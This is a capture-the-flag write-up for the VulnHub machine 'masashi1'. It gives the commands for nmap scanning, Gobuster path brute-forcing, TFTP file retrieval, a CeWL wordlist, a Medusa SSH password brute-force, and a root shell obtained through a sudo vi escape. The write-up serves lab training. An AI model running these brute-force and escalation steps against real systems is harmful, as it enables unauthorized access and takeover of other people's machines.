Link to VulnHub

Getting the target machine's IP address

The first thing we are going to do is try to find out the target machine IP. To do this we will use nmap indicating that we want to do a ping scan (-sn) for the entire network we are currently on. If you are not the root user, it is recommendable to use sudo to obtain additional information about the devices that are in the network:

sudo nmap -sn 10.0.0.1/24

Result (relevant):

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-25 11:18 CET

...

MAC Address: 7C:50:79:8E:CA:DD (Intel Corporate)
Nmap scan report for 10.0.0.102
Host is up (0.00056s latency).

...

Nmap tells us that the IP of the target machine is the following:

• 10.0.0.102

In case it is a virtual machine we can verify it by checking if the MAC addresses of the network cards match.

The next thing we are going to do is to add the IP of the target machine to our /etc/hosts. In this way we will not need to remember the IP and we can use the name we give it. We edit the /etc/hosts file and add the following line at the end of it:

10.0.0.102 masashi1.ctf

Now if we run a ping masashi1.ctf -c 1 we should get the following response:

PING masashi1.ctf (10.0.0.102) 56(84) bytes of data.
64 bytes from masashi1.ctf (10.0.0.102): icmp_seq=1 ttl=64 time=0.743 ms

--- masashi1.ctf ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.743/0.743/0.743/0.000 ms

This confirms that it correctly resolves the hostname we have assigned to it.

Port scanning

Once we have the IP of the target machine, what we are going to do is try to detect the open ports. To do this we will launch another scan with nmap against the entire port range (-p-) using the fastest timing template (-T5), filtering by the open ports (--open), and disabling DNS resolution (-n) and host discovery (-Pn):

nmap -p- -T5 --open -Pn -n masashi1.ctf

Result:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-02 09:53 CEST
Nmap scan report for masashi1.ctf (10.0.0.102)
Host is up (0.00011s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 1.14 seconds

From this scan we get the following ports are open: 22 (SSH) and 80 (HTTP). Knowing that these ports are open, the next thing we are going to do is to try to detect which services are being exposed and their versions (-sCV):

nmap -p 22,80 -sCV masashi1.ctf

Result:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-02 09:56 CEST
Nmap scan report for masashi1.ctf (10.0.0.102)
Host is up (0.00043s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 f6e008c533feb245d2d76d0c7d737ba4 (RSA)
|   256 e935bf3ea4a340442f7905f3898505dc (ECDSA)
|_  256 efde3f1d48e30d9637b0ce22ea004cc6 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
| http-robots.txt: 1 disallowed entry
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.57 seconds

From the result of the more detailed scan we obtain the following:

• 22/tcp: SSH - OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
• 80/tcp: HTTP - Apache httpd 2.4.38 ((Debian))

HTTP service analysis (80/TCP)

Since we have an HTTP service exposed on port 80, what we are going to do is try to see what is being exposed on that port by accessing the url http://masashi1.ctf in the browser.

When accessing, we see the default Apache page, which confirms what nmap had already told us. As in http://masashi1.ctf we do not find anything interesting, we are going to make a brute force attack to discover more paths and files.

To perform this attack we will use Gobuster indicating that we want to list directories (dir) against the IP of the target machine (-u), using additional extensions (-x), using a directory listing oriented dictionary (-w), and limiting the number of threads to 3 (-t):

gobuster dir -u http://masashi1.ctf -x html,txt,php -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 3

Result:

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://masashi1.ctf
[+] Method:                  GET
[+] Threads:                 3
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt,php,html
[+] Timeout:                 10s
===============================================================
2023/04/02 10:53:41 Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 10657]
/security.txt         (Status: 200) [Size: 54]
/robots.txt           (Status: 200) [Size: 72]
/server-status        (Status: 403) [Size: 277]

===============================================================
2023/04/02 10:55:09 Finished
===============================================================

From the scan we obtain that there are 3 more paths that may be of interest:

• /security.txt: which may contain useful information.
• /robots.txt: which can give us information about more existing resources.
• /server-status: to which we do not have access.

In the file /security.txt, we find the following message:

If its a bug then let me know on Twitter @lorde_zw :)

Although it does not have much information, we can think that lorde_zw could also be a user of the system.

If we look at /robots.txt we see the following content:

User-agent: *
Disallow: /
	/snmpwalk.txt
	/sshfolder.txt
	/security.txt

Which tells us that there can be 2 additional paths /snmpwalk.txt and /sshfolder.txt. If we access them, the content of the files is as follows:

snmpwalk.txt

|  403:
|	    Name: cron
|	    Path: /usr/sbin/cron
|	    Params: -f
|  768:
|	    Name: tftpd
|	    Path: /usr/sbin/tftpd
|	    Params: -- listen — user tftp -- address 0.0.0.0:1337 -- secure /srv/tftp
|  806:
|	    Name: mysqld
|	    Path: /usr/sbin/mysqld
|	    Params: -i 0.0.0.0

sshfolder.txt

sv5@masashi:~/srv/tftp# ls -la
total 20
drwx------  2 sv5 sv5 4096 Oct 15 19:34 .
drwxr-xr-x 27 sv5 sv5 4096 Oct 21 12:37 ..
-rw-------  1 sv5 sv5 2602 Oct 15 19:34 id_rsa
-rw-r--r--  1 sv5 sv5  565 Oct 15 19:34 id_rsa.pub
sv5@masashi:~/srv/tftp#

In these files we find several interesting things. In the first one, it seems to be indicating processes that are running on the target machine. Among those processes is the TFTP service on port 1337, which is a protocol similar to FTP but over UDP. On the other hand, we found that in the system there is an SSH user whose name is sv5, and that in the folder shared by TFTP a pair of keys are being shared.

To try to obtain them, the first thing we have to do is to install a TFTP client, so we install tftp-hpa. Once installed we connect to the server with tftp masashi1.ctf 1337. After connecting, we get the files that indicated us running the following commands: get id_rsa and get id_rsa.pub. When we close the connection and look at the contents of the files we see that they are not really the public and private keys of the target machine. Its contents are as follows:

id_rsa

So if you cant use the key then what else can you use????????? :)

id_rsa.pub

Dude seriously, The key doesnt work here, try the other cewl thing here "/index.html"..... Wink ;) Wink ;)

Compromising the target machine

In the files that were supposed to be the public and private keys, it gives us a hint, it tells us to use CeWL against /index.html. This tool allows us to generate a dictionary of keys through the content of a web page.

We execute the cewl command by specifying a depth of 5 (-d), accept numbers as well as letters (--with-numbers), write the dictionary in cewl.out (-w), and specify the WEB page we want to use:

cewl -d 5 --with-numbers -w cewl.out http://masashi1.ctf/index.html

Partial result (running head cewl.out):

the
Debian
configuration
apache2
conf
this
server
web
default
and

Now that we have a possible username, sv5, and a list of passwords we will try to execute a brute force SSH attack using Medusa.

We run the command medusa indicating the host (-h), the user (-u), the dictionary to use (-P), limiting the maximum number of concurrent connections (-t), and using the SSH module (-M). The result of this command is filtered using grep:

medusa -h masashi1.ctf -u sv5 -P cewl.out -t 3 -M ssh | grep SUCCESS

Result:

ACCOUNT FOUND: [ssh] Host: masashi1.ctf User: sv5 Password: whoistheplug [SUCCESS]

Medusa reports that the user password sv5 is whoistheplug. If we try to connect via SSH with those credentials we verify that they are correct and that we have access to the machine.

If we look into the sv5 user's home (/home/sv5) it doesn't take long to find the first flag (user.txt): Hey buddy :) Well done on that initial foothold ;) ; ....

Privilege escalation

Now that we have access to the machine, the next thing we need to do is try to escalate privileges and gain access as the root user. To do this, the first thing we can look at is what sudo permissions we have, so we run sudo -l. The result is as follows:

Matching Defaults entries for sv5 on masashi:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sv5 may run the following commands on masashi:
    (ALL) NOPASSWD: /usr/bin/vi /tmp/*

The result indicates that we can use the vi command in the /tmp/ folder as superuser without using a password. If we search in GTFOBins if it is possible to escalate privileges with vi we find this page. If we try the 2 options shown in the web page, the option b it works.

We run sudo /usr/bin/vi /tmp/shell and once in vi run the following commands:

• :set shell=/bin/sh
• :shell

After this we execute the id command and get the following result:

uid=0(root) gid=0(root) groups=0(root)

Once we have gained access as root we can see the second flag (/root/root.txt): Quite the pwner huh!!!! :) Well i bet you had fun ;) ;) ...